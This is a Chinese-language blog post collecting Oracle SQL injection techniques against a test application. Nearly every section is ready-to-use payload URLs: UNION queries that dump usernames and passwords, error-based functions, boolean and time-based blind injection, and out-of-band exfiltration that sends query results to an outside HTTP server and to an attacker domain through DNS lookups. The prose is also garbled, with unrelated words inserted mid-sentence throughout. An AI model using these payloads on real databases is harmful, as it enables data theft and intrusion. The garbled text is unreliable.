最近遇到Oracle注入的測試越來越多铜异,而且互聯(lián)網(wǎng)上oracle注入的總結(jié)較為少見哥倔,為了能夠快速的進行漏洞測試和挖掘,誕生了想要把之前學(xué)習(xí)的Oracle注入方式進行溫習(xí)和總結(jié)的想法揍庄,便寫下這一篇關(guān)于Oracle注入的總結(jié)咆蒿,本文參考了Oracle官網(wǎng),互聯(lián)網(wǎng)上各個前輩的博客以及各大paper蚂子。期待和師傅沃测,前輩們的討論和交流。
本文中的user 的值是SQLINJECTION
基礎(chǔ)知識:
1.Oracle 使用查詢語句獲取數(shù)據(jù)時需要跟上表名食茎,沒有表的情況下可以使用dual蒂破,dual是Oracle的虛擬表,用來構(gòu)成select的語法規(guī)則别渔,Oracle保證dual里面永遠(yuǎn)只有一條記錄附迷。
2.Oracle的數(shù)據(jù)類型是強匹配的(MYSQL有弱匹配的味道),所以在Oracle進行類似UNION查詢數(shù)據(jù)時候必須讓對應(yīng)位置上的數(shù)據(jù)類型和表中的列的數(shù)據(jù)類型是一致的哎媚,也可以使用null代替某些無法快速猜測出數(shù)據(jù)類型的位置挟秤。
3.Oracle的單行注釋符號是--,多行注釋符號/**/抄伍。
【union 注入】
判斷列數(shù):
' order by 3 --
判斷回顯位置:
' union select null,null,null from dual --
獲取數(shù)據(jù)庫版本信息:
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --
獲取數(shù)據(jù)表名:
' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --
獲取關(guān)鍵表中的列名:
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER'? and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER'? and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER'? and column_name<>'SUSER' and column_name<>'SPWD'? and column_name<>'SNAME' and rownum=1),null from dual --
獲取關(guān)鍵列中的字段數(shù)據(jù):
' union select SNAME,SUSER,SPWD from T_USER --
(一)艘刚、Oracle 報錯注入:
進行測試或漏洞挖掘的時候發(fā)現(xiàn)出現(xiàn)了數(shù)據(jù)庫報錯信息,可以優(yōu)先選擇報錯注入截珍,使用報錯的方式將查詢數(shù)據(jù)的結(jié)果帶出到錯誤頁面中攀甚,使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句]岗喉,使用比較運算符秋度,這樣的方式進行報錯注入(MYSQL僅使用函數(shù)報錯即可),常見的報錯函數(shù)見以下示例:
0x01 使用utl_inaddr.get_host_name()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_inaddr.get_host_name((select user from dual))--
0x02 使用ctxsys.drithsx.sn()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
0x03 使用XMLType()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
0x04 使用dbms_xdb_version.checkin()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
0x05 使用dbms_xdb_version.makeversioned()進報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--
0x06 使用dbms_xdb_version.uncheckout()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--
0x07 使用dbms_utility.sqlid_to_sqlhash()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--
0x08 使用ordsys.ord_dicom.getmappingxpath()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'? and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'? and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
0x09 使用decode進行報錯注入钱床,這種方式更偏向布爾型注入荚斯,因為這種方式并不會通過報錯把查詢結(jié)果回顯回來,僅是用來作為頁面的表現(xiàn)不同的判斷方法查牌。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
(二)事期、Oracle 帶外通信獲取查詢結(jié)果的方法:
Oracle 帶外通信獲取查詢結(jié)果的方法,是參考自【SQL注入攻擊與防御】中的介紹纸颜,可以使用Oracle發(fā)送HTTP和DNS請求兽泣,并將查詢結(jié)果帶到請求中,然后監(jiān)測外網(wǎng)服務(wù)器的HTTP和DNS日志胁孙,從日志中獲取查詢結(jié)果(此處并未對HTTP和DNS服務(wù)器搭建和配置進行介紹)唠倦,通過這種方式將繁瑣的盲注轉(zhuǎn)換成可以直接簡便的獲取查詢結(jié)果的方式称鳞,相關(guān)函數(shù)和方法的使用見如下示例:
0x01 在外網(wǎng)搭建web服務(wù)器,并記錄請求的日志信息稠鼻,然后使用utl_http.request()向外網(wǎng)主機發(fā)送http請求冈止,請求便攜帶了查詢的結(jié)果信息。此處可以結(jié)合SSRF進行內(nèi)網(wǎng)探測 候齿,或許這就是Oracle的ssrf靶瘸?!
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'? and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --
0x02 利用utl_inaddr.get_host_address()毛肋,將查詢結(jié)果拼接到域名下,并使用DNS記錄解析日志屋剑,通過這種方式獲取查詢結(jié)果润匙。
參考自【SQL注入攻擊與防御】
環(huán)境搭建參考自:https://ricterz.me/posts/%E7%AC%94%E8%AE%B0%3A%20Data%20Retrieval%20over%20DNS%20in%20SQL%20Injection%20Attacks
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual)is not null--
(三)、Oracle 布爾盲注:
在測試和漏洞挖掘中唉匾,并沒有出現(xiàn)數(shù)據(jù)庫報錯信息孕讳,使用測試語句進行測試發(fā)現(xiàn)只能通過頁面正常與否來判斷SQL語句是否執(zhí)行了,這種情況需要使用布爾盲注巍膘,盲注可以使用ASCII()厂财,substr()這種通用組合獲取數(shù),如下是使用了個人覺得較為好用的盲注paylaod峡懈,在多次漏洞挖掘中均是使用這兩個payload璃饱,然后加上腳本編程獲取數(shù)據(jù)的,具體操作看如下示例:
0x01 使用decode函數(shù)進行布爾盲注肪康,substr(user,1,1)是條件荚恶,'S'是要遍歷的位置,如果匹配便返回翻譯值1磷支,否則使用默認(rèn)值0
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --
【decode的理解】
decode(條件,值1,翻譯值1,值2,翻譯值2,...值n,翻譯值n,缺省值)的理解如下:
if (條件==值1)
then
return(翻譯值1)
elsif (條件==值2)
then
return(翻譯值2)
......
elsif (條件==值n)
then
return(翻譯值n)
else
return(缺省值)
end if
注:其中缺省值可以是你要選擇的column name 本身谒撼,也可以是你想定義的其他值,比如Other等雾狈;
0x02 使用instr進行布爾盲注,(select user from dual)是查詢結(jié)果數(shù)據(jù)廓潜,instr會返回‘SQL’位置數(shù)據(jù)在,查詢結(jié)果中的位置善榛,未找到便返回0辩蛋,可以通過對‘SQL’位置進行遍歷和迭代,獲取到數(shù)據(jù)移盆。類似MYSQL regexp注入的方法堪澎。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(instr((select user from dual),'SQL')) --
【instr函數(shù)的理解】
instr函數(shù)的使用,從一個字符串中查找指定子串的位置味滞。例如:
SQL> select instr('abcdefgh','de') position from dual;
POSITION
----------
4
從1開始算 d排第四所以返回4
(四)樱蛤、Oracle 時間盲注:
測試和漏洞挖掘中钮呀,通過頁面響應(yīng)的狀態(tài),這里指的是響應(yīng)時間昨凡,通過這種方式判斷SQL是否被執(zhí)行的方式爽醋,便是時間盲注;oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE()便脊,這個也是通過SQLMAP源碼中發(fā)現(xiàn)的蚂四,而另外一種便是decode()與高耗時SQL操作的組合,當(dāng)然也可以是case哪痰,if 等方式與高耗時操作的組合遂赠,這里的高耗時操作指的是,例如:(select count(*) from all_objects)晌杰,對數(shù)據(jù)庫中大量數(shù)據(jù)進行查詢或其他處理的操作跷睦,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數(shù)據(jù)肋演。這種方式也適用于其他數(shù)據(jù)庫抑诸。
0x01 使用DBMS_PIPE.RECEIVE_MESSAGE()進行時間盲注
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
實際用法:
/SqlInjection/selcet?suser=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
來自官網(wǎng)的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename? ? IN VARCHAR2,
timeout? ? ? IN INTEGER? ? ? DEFAULT maxwait)
RETURN INTEGER;
可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)
0x02 使用decode()進時間盲注
(select count(*) from all_objects) 會花費更多是時間去查詢所有數(shù)據(jù)庫的條目,所以以這種方式進行時間判斷依據(jù)爹殊,這是一個騷氣的方式蜕乡。(類比OWASP測試指南中老虎機的案例)
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
使用decode與DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式進行時間盲注。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1
小小總結(jié):
Oracle注入平時接觸的機會較為少見梗夸,近期突然覺得對Oracle注入的測試變多了层玲,所以對前輩們已提出的各種姿勢(感謝前輩們),以及自己遇到并測試過較為好用的payload進行總結(jié)反症,方便以后的測試称簿,希望這篇文章可以讓那些對Oracle注入手無對策的朋友們有所收獲。